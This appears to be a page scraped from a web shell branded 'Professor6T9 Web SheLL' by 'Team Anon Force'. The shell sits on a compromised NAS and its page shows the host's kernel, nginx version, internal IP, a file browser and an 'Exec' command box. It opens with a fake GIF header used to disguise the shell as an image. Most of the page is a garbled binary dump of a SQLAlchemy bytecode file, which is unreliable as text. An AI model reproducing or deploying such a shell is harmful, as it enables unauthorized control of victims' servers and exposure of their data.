GIF89;aGIF89;aGIF89;a
Team Anon Force
https://t.me/Professor6T9x
Professor6T9 Web SheLL
Linux SamCT211 4.4.302+ #86009 SMP Wed Nov 26 18:19:20 CST 2025 x86_64
nginx/1.23.1
192.168.4.211
/
volume1
/
@appstore
/
Contacts
/
radicale
/
site-packages
/
sqlalchemy
/
ext
/
__pycache__
[ HOME ]
Exec
Submit
File Name : horizontal_shard.cpython-38.pyc
U �}�h�# � @ sp d Z ddlmZ ddlmZ ddlmZ ddlmZ ddgZG dd� de�Z G d d � d e �ZG dd� de�ZdS ) a Horizontal sharding support. Defines a rudimental 'horizontal sharding' system which allows a Session to distribute queries and persistence operations across multiple databases. For a usage example, see the :ref:`examples_sharding` example included in the source distribution. � )�inspect)�util)�Query)�Session�ShardedSession�ShardedQueryc sP e Zd Z� fdd�Zdd� Zdd� Zdd� Zd� fd d� Zd� fdd � Z� Z S )r c s0 t t| �j||� | jj| _| jj| _d | _d S �N)�superr �__init__�session� id_chooser� query_chooser� _shard_id)�self�args�kwargs�� __class__� �F/tmp/pip-target-hu2ovxdm/lib/python/sqlalchemy/ext/horizontal_shard.pyr s zShardedQuery.__init__c C s | � � }||_|S )z�return a new query, limited to a single shard ID. all subsequent operations with the returned query will be against the single shard regardless of other state. )Z_cloner )r �shard_id�qr r r � set_shard"